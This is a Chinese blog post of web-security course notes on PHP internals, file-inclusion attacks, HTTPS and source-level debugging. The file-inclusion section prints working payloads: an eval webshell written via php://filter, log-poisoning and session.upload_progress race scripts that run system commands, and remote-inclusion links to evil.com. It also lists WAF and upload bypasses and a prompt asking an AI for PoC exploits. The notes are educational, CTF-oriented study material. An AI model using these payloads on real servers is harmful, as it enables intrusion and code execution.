【成长笔记】【web安全】深入Web安全与PHP底层:四天实战课程笔记

本文整理自为期四天的网络安全实战课程,涵盖PHP底层原理、文件包含漏洞利用、HTTPS加密原理以及源码级调试技术。


摘要

本笔记系统讲解Web安全核心技术:

PHP底层机制: 剖析源码到Opcode编译流程,揭示顶层/非顶层函数注册差异,利用临时函数名机制\0function/path:line$0绕过调用限制。
文件包含漏洞: 详解php://filterphar://等伪协议利用,重点包括"死亡exit"绕过(base64特性)、session.upload_progress条件竞争等高级技术。
HTTPS加密: 解析TLS握手流程、RSA密钥交换的前向保密缺陷、证书链验证机制及Burp中间人攻击原理。
调试技术: 提供Docker+pwndbg+GDB环境搭建方案,实现从汇编级到代码级的完整调试链。
就业导向: 强调调试能力、云安全(Docker/K8s)、AI辅助工具在当前行业的重要性,建议通过真实渗透、CNVD挖掘、CTF比赛积累经验。


课程概述与学习路径

网络安全学习的核心目标

就业导向

  • 真实渗透经历(0-1渗透、内网渗透)
  • CNVD漏洞编号
  • CTF比赛经验(强网杯、网鼎杯)
  • 实习经历(最重要)

技术发展趋势

  • Web漏洞形态演变(SQL注入仍然存在,但需要协议层绕过)
  • 云安全占比80%(Docker、K8s)
  • AI辅助安全(MCP、Claude Code、Gemini CLI)
  • 前端加密逆向能力

必备技能栈

复制代码
调试技能(重中之重)
├── Python: PyCharm + 虚拟环境
├── Java: IDEA + JDK(1.8/17/21)
├── PHP: PHPStorm/VSCode + Xdebug
└── JavaScript: 浏览器DevTools

环境部署
├── Windows: PHPStudy
├── Linux: LNMP/LAMP
└── Docker: 隔离环境

PHP底层编译执行原理

1. PHP脚本执行的两大阶段

阶段一:编译(源码 → Opcode)
复制代码
源代码 → 词法分析 → 语法分析 → 生成AST → 编译成Opcode → Pass Two

示例代码

php 复制代码
<?php
$a = 1;
$b = 1;
$c = $a + $b;
echo $c;

词法分析结果

复制代码
T_OPEN_TAG   <?php
T_VARIABLE   $a
=            =
T_LNUMBER    1
;            ;
...

生成的Opcode

复制代码
索引  操作码    操作数1      操作数2      结果
0     ASSIGN    (常量)1      (变量)$a     -
1     ASSIGN    (常量)1      (变量)$b     -
2     ADD       (变量)$a     (变量)$b     临时变量T1
3     ASSIGN    (临时)T1     (变量)$c     -
4     ECHO      (变量)$c     -            -
5     RETURN    (常量)1      -            -
阶段二:执行(Opcode → 结果)

Zend虚拟机逐条执行每个Opcode对应的Handler函数:

c 复制代码
void execute() {
    zval *a, *b, *c, temp;
    
    ZEND_ASSIGN_HANDLER(&a, 1);        // $a = 1
    ZEND_ASSIGN_HANDLER(&b, 1);        // $b = 1
    ZEND_ADD_HANDLER(&temp, a, b);     // temp = 2
    ZEND_ASSIGN_HANDLER(&c, &temp);    // $c = 2
    ZEND_ECHO_HANDLER(c);              // 输出 2
    return;
}

2. 函数编译的关键差异

顶层函数 vs 非顶层函数

顶层函数toplevel=true):

php 复制代码
function test() {
    echo "hello";
}
  • 直接用函数名注册到全局函数表
  • 无需生成 DECLARE_FUNCTION opcode

非顶层函数toplevel=false):

php 复制代码
if (condition) {
    function inner() {  // 嵌套在if语句中
        echo "inner";
    }
}
  • 编译时生成临时函数名:\0inner/path/to/file.php:3$0
  • 运行时才将真实函数名注册到函数表
  • 生成 DECLARE_FUNCTION opcode

临时函数名生成规则(PHP 7.x):

复制代码
'\0' + 函数名 + 文件路径 + ':' + 起始行号 + '$' + 计数器

实战案例:绕过函数调用限制

php 复制代码
<?php
$password = trim($_REQUEST['password'] ?? '');
$name = trim($_REQUEST['name'] ?? 'viewsource');

if (strcmp(hash('sha256', $password), 'ca5727...') === 0) {
    function readflag() {  // 非顶层函数
        echo 'flag{...}';
    }
}

$name();  // 动态调用

绕过思路

  1. 因为无法满足if条件,readflag不会被正常注册
  2. 但编译时已生成临时函数名:\0readflag/var/www/html/test.php:6$0
  3. 使用 \ 前缀绕过trim的\0过滤
  4. 最终payload:name=\%00readflag/var/www/html/test.php:6$0

3. PHP 8.1+ 的变化

PHP 8.1删除了临时函数名机制(PR #5595),原因是内存泄露问题。但临时类名机制仍然存在,可作为新的利用点。


文件包含漏洞深度剖析

1. 基础知识

常见文件包含函数
php 复制代码
include()        // 警告后继续执行
require()        // 致命错误,终止脚本
include_once()   // 只包含一次
require_once()   // 只包含一次
环境要求
ini 复制代码
allow_url_fopen = On    // 默认开启
allow_url_include = On  // PHP 5.2+默认关闭

2. PHP伪协议利用

php://filter - 文件读取

基础用法

复制代码
php://filter/read=convert.base64-encode/resource=flag.php

绕过"死亡exit"

php 复制代码
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

利用base64特性

复制代码
filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=  // <?php @eval($_POST['cmd']);?>前加a凑够8字节

原理

  • base64解码时会忽略非法字符:<?php exit; ?>phpexit(7个字符)
  • 添加一个a凑够8字节,使其能被正常解码
  • 后续的webshell正常解码并写入

使用strip_tags方法

复制代码
filename=php://filter/read=string.strip_tags|convert.base64-decode/resource=shell.php
php://input - POST数据执行
php 复制代码
// 目标代码
include($_GET['file']);

// 利用方式
GET: ?file=php://input
POST: <?php system('cat /flag'); ?>

绕过文件内容检测

php 复制代码
if (file_get_contents($a, 'r') === 'I want flag') {
    echo $flag;
}

// Payload
GET: ?a=php://input
POST: I want flag
phar:// - 压缩包利用

基本原理

复制代码
phar://archive.zip/shell.php
zip://archive.zip#shell.php  (需URL编码#为%23)

关键特性

  • 不依赖文件扩展名,通过Magic Bytes识别格式
  • PK\x03\x04 → 识别为ZIP
  • 可以绕过上传限制(改名为.jpg)

完整利用链

复制代码
用户上传: shell.zip
重命名为: 1.jpg(绕过上传检测)
包含文件: phar://1.jpg/shell.php
    ↓
Phar Stream Wrapper解析
    ↓
检测文件头: PK\x03\x04 → 识别为ZIP
    ↓
解析ZIP结构 → 提取shell.php
    ↓
返回PHP源码 → Zend编译执行

源码级流程

复制代码
phar_wrapper_open_url()
    → phar_parse_url()           // 分离archive和entry
    → phar_detect_phar_format()  // 检测文件格式
    → phar_parse_zipfile()       // 解析ZIP结构
    → phar_get_entry_data()      // 获取文件内容
    → 返回php_stream

3. 包含日志文件

Apache日志路径

复制代码
/var/log/apache2/access.log
/var/log/apache2/error.log

利用步骤

  1. 发送恶意请求写入日志:

    复制代码
    GET /<?php system($_GET['cmd']); ?> HTTP/1.1
  2. 包含日志文件执行:

    复制代码
    ?file=/var/log/apache2/access.log&cmd=cat /flag

4. Session文件包含

Session路径

复制代码
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID

利用session.upload_progress

这是一个默认开启的特性(session.upload_progress.enabled = On),无需初始化Session!

关键配置

ini 复制代码
session.upload_progress.enabled = On
session.upload_progress.cleanup = On  // 上传完成后自动清除
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

利用脚本

python 复制代码
import io
import requests
import threading

sessid = 'hacker'

def upload_progress():
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        requests.post(
            'http://target.com/upload.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'},
            files={'file': ('test.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def include_session():
    while True:
        r = requests.get(f'http://target.com/index.php?file=/tmp/sess_{sessid}')
        if 'flag{' in r.text:
            print(r.text)
            break

with requests.session() as session:
    t1 = threading.Thread(target=upload_progress)
    t1.daemon = True
    t1.start()
    include_session()

原理

  1. POST上传文件时,Session中会包含 upload_progress_xxx 的值(用户可控)
  2. 虽然上传完成后会被清除,但可以通过条件竞争在清除前包含
  3. 即使session.auto_start=Off,上传时也会自动创建Session

5. 绕过技巧总结

指定前缀绕过
php 复制代码
// 代码:include "/var/www/html/" . $_GET['file'];

// 目录遍历
?file=../../etc/passwd

// URL编码
?file=%2e%2e%2f%2e%2e%2fetc/passwd

// 二次编码
?file=%252e%252e%252f
指定后缀绕过
php 复制代码
// 代码:include $_GET['file'] . ".php";

// URL查询参数(RFI)
?file=http://evil.com/shell.txt?

// URL Fragment
?file=http://evil.com/shell.txt%23

// phar协议
?file=phar://shell.zip/cmd
长度截断(PHP < 5.2.8)
复制代码
?file=./././[重复256次]/./shell.txt
%00截断(PHP < 5.3.4 且 magic_quotes_gpc=Off)
复制代码
?file=shell.txt%00

6. 防御措施

php 复制代码
// 白名单限制
$allowed = ['index', 'about', 'contact'];
$page = $_GET['page'] ?? 'index';
if (!in_array($page, $allowed)) {
    die('Invalid page');
}
include $page . '.php';

// open_basedir限制
// php.ini: open_basedir = /var/www/html

// 禁用危险协议
// php.ini: allow_url_include = Off

HTTPS加密与RSA密钥协商

1. TLS握手流程(RSA密钥交换)

复制代码
客户端                                    服务端
   │                                        │
   │──────── Client Hello ─────────────────>│
   │  - TLS版本: 1.2                        │
   │  - 随机数: Client Random                │
   │  - 支持的加密套件列表                   │
   │                                        │
   │<────── Server Hello ────────────────── │
   │  - 选择TLS版本: 1.2                     │
   │  - 随机数: Server Random                │
   │  - 选择加密套件: TLS_RSA_WITH_AES_128_GCM_SHA256
   │                                        │
   │<────── Server Certificate ──────────── │
   │  - 数字证书(含RSA公钥)                │
   │                                        │
   │<────── Server Hello Done ──────────── │
   │                                        │
   │──────── Client Key Exchange ──────────>│
   │  - pre-master(用服务器公钥加密)       │
   │                                        │
   │──────── Change Cipher Spec ───────────>│
   │──────── Encrypted Handshake ──────────>│
   │                                        │
   │<────── Change Cipher Spec ─────────── │
   │<────── Encrypted Handshake ─────────── │
   │                                        │
   │═══════ 加密通信开始 ═══════════════════│

2. 密钥生成过程

三个随机数

  1. Client Random(客户端生成)
  2. Server Random(服务端生成)
  3. pre-master(客户端生成,用服务器公钥加密传输)

会话密钥生成

复制代码
Master Secret = PRF(pre-master, "master secret", Client Random + Server Random)

3. 数字证书验证

证书链结构

复制代码
根证书(Root CA)
    ↓ 签发
中间证书(Intermediate CA)
    ↓ 签发
服务器证书(baidu.com)

验证流程

  1. 浏览器获取服务器证书
  2. 提取证书内容,计算Hash值(H1)
  3. 用CA公钥解密证书签名,得到Hash值(H2)
  4. 比较H1和H2:
    • 相等 → 证书未被篡改
    • 不等 → 证书不可信

CA公钥来源

  • 操作系统内置根证书列表
  • 浏览器内置根证书列表

4. RSA算法的缺陷

前向保密问题

  • 如果服务器私钥泄露,过去所有被截获的加密流量都会被破解
  • 原因:pre-master是用服务器公钥加密的

解决方案:DH/ECDHE密钥交换

复制代码
客户端生成临时私钥 → 计算临时公钥 → 发送给服务端
服务端生成临时私钥 → 计算临时公钥 → 发送给客户端
双方独立计算 → 得到相同的会话密钥

即使服务器私钥泄露,也无法计算出历史会话密钥

5. Burp Suite如何解密HTTPS

前提条件

  1. 用户主动安装Burp的CA证书到信任列表
  2. Burp作为中间人,分别与客户端和服务器建立TLS连接

双向TLS连接

复制代码
客户端 <──TLS1──> Burp Suite <──TLS2──> 服务器

TLS1: 客户端信任Burp的证书(手动安装)
TLS2: Burp信任服务器的证书(正常验证)

Burp解密TLS1 → 查看明文 → 重新加密成TLS2

源码级调试环境搭建

1. Docker容器调试方案

启动容器

bash 复制代码
docker run -it --rm --name debug -p 8080:8080 -p 2222:22 tuwen/phpsrc-debug:8.1-backdoor

VSCode远程连接

  1. 安装插件:Remote - SSHC/C++

  2. 保存容器提供的私钥到本地(如 D:\private.key

  3. 修改私钥权限(Windows):

    • 右键 → 属性 → 安全 → 高级
    • 禁用继承 → 删除所有权限
    • 添加当前用户的完全控制权限
  4. SSH连接:

    bash 复制代码
    ssh -p 2222 -i D:\private.key root@192.168.x.x

2. pwndbg调试PHP底层

安装pwndbg

bash 复制代码
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

常用调试命令

bash 复制代码
# 启动调试
gdb /usr/local/php83/bin/php

# 设置断点
b zend_execute_scripts          # 脚本执行入口
b zend_compile_file             # 编译阶段
b ZEND_INCLUDE_OR_EVAL_SPEC_CONST_HANDLER  # include处理

# 运行PHP脚本
run test.php

# 单步执行
ni  # 汇编级单步(不进入函数)
si  # 汇编级单步(进入函数)

# 查看内存
telescope $rsp 20               # 查看栈
x/10gx 0x7fff1234               # 查看指定地址

# 查看结构体成员
p *op_array                     # 打印op_array结构
p/x op_array->opcodes[0]        # 打印第一个opcode

# 搜索字符串
search -t string "phar://"

实战案例:调试phar包含

gdb 复制代码
# 在phar协议处理函数下断点
b phar_wrapper_open_url

# 运行PHP脚本
run -r "include('phar://test.jpg/shell.php');"

# 单步跟踪
ni
telescope $rsp 10

# 查看phar_archive_data结构
p *(phar_archive_data*)0x...
p manifest  # 查看文件清单

3. 源码编译PHP 8.3

安装依赖

bash 复制代码
sudo apt update
sudo apt install -y build-essential libssl-dev libcurl4-openssl-dev \
    libxml2-dev libzip-dev libpng-dev libjpeg-dev libonig-dev \
    libsqlite3-dev libreadline-dev

编译配置

bash 复制代码
wget https://github.com/php/php-src/archive/refs/tags/php-8.3.23.zip
unzip php-8.3.23.zip
cd php-src-php-8.3.23

./buildconf --force
./configure \
    --prefix=/usr/local/php83 \
    --with-config-file-path=/usr/local/php83/etc \
    --enable-fpm \
    --enable-debug \
    --enable-mbstring \
    --with-curl \
    --with-openssl \
    --with-zip \
    --enable-phar \
    --enable-cli

make -j$(nproc)
sudo make install

配置Nginx + PHP-FPM

nginx 复制代码
# /etc/nginx/sites-available/default
location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass 127.0.0.1:9000;  # PHP-FPM监听端口
}
bash 复制代码
# 启动PHP-FPM
sudo /usr/local/php83/sbin/php-fpm

# 重启Nginx
sudo systemctl restart nginx

实战技巧与工具

1. Xdebug配置(代码级调试)

php.ini配置

ini 复制代码
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode = debug
xdebug.start_with_request = yes
xdebug.client_host = 127.0.0.1
xdebug.client_port = 9003

VSCode配置(launch.json)

json 复制代码
{
    "name": "Listen for Xdebug",
    "type": "php",
    "request": "launch",
    "port": 9003,
    "pathMappings": {
        "/var/www/html": "${workspaceFolder}"
    }
}

2. AI辅助安全研究

推荐工具

  • Claude Code:代码分析与漏洞挖掘
  • Gemini 3 Pro:动态视图理解(Veo 3.1图像生成)
  • ChatGPT Code Interpreter:数据分析
  • Qwen-3-VL:多模态分析(图片+代码)

典型使用场景

复制代码
我想分析这段PHP源码的安全问题:
[粘贴代码]

请帮我:
1. 找出潜在的漏洞点
2. 生成PoC利用脚本
3. 给出修复建议

3. 信息收集工具

浏览器插件

  • FOFA Chrome插件:快速资产发现
  • Wappalyzer:技术栈识别
  • HackBar:快速构造Payload

命令行工具

bash 复制代码
# Nmap端口扫描
nmap -sV -p- target.com

# SQLMap SQL注入
sqlmap -u "http://target.com?id=1" --batch

# Nuclei漏洞扫描
nuclei -u https://target.com -t exposures/

4. WAF绕过技巧

SQL注入绕过

sql 复制代码
-- 大小写混淆
SeLeCt * FrOm users

-- 注释插入
SELECT/**/password/**/FROM/**/users

-- 编码绕过
%53%45%4C%45%43%54 (SELECT的URL编码)

-- 协议层绕过(MySQL Connector/J)
使用预编译+参数篡改绕过WAF检测

文件上传绕过

复制代码
# 双重后缀
shell.php.jpg

# 00截断(老版本PHP)
shell.php%00.jpg

# .htaccess解析
.htaccess内容:
AddType application/x-httpd-php .jpg

# 大小写绕过
shell.PhP

总结

核心要点回顾

  1. PHP底层理解

    • 编译阶段:源码 → AST → Opcode
    • 执行阶段:Zend VM逐条执行Handler
    • 函数注册机制:toplevel决定函数名生成方式
  2. 文件包含利用链

    • 伪协议:php://filter、php://input、phar://、zip://
    • 日志/Session包含 + 条件竞争
    • phar协议不依赖扩展名,通过Magic Bytes识别
  3. HTTPS安全

    • RSA密钥交换存在前向保密问题
    • 证书链验证确保服务器身份
    • Burp解密需用户主动信任CA证书
  4. 调试技能

    • 代码级:Xdebug + VSCode/PHPStorm
    • 汇编级:pwndbg/GDB + 源码编译PHP
    • 容器化:Docker隔离环境
相关推荐
BingoGo17 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack17 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher1 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全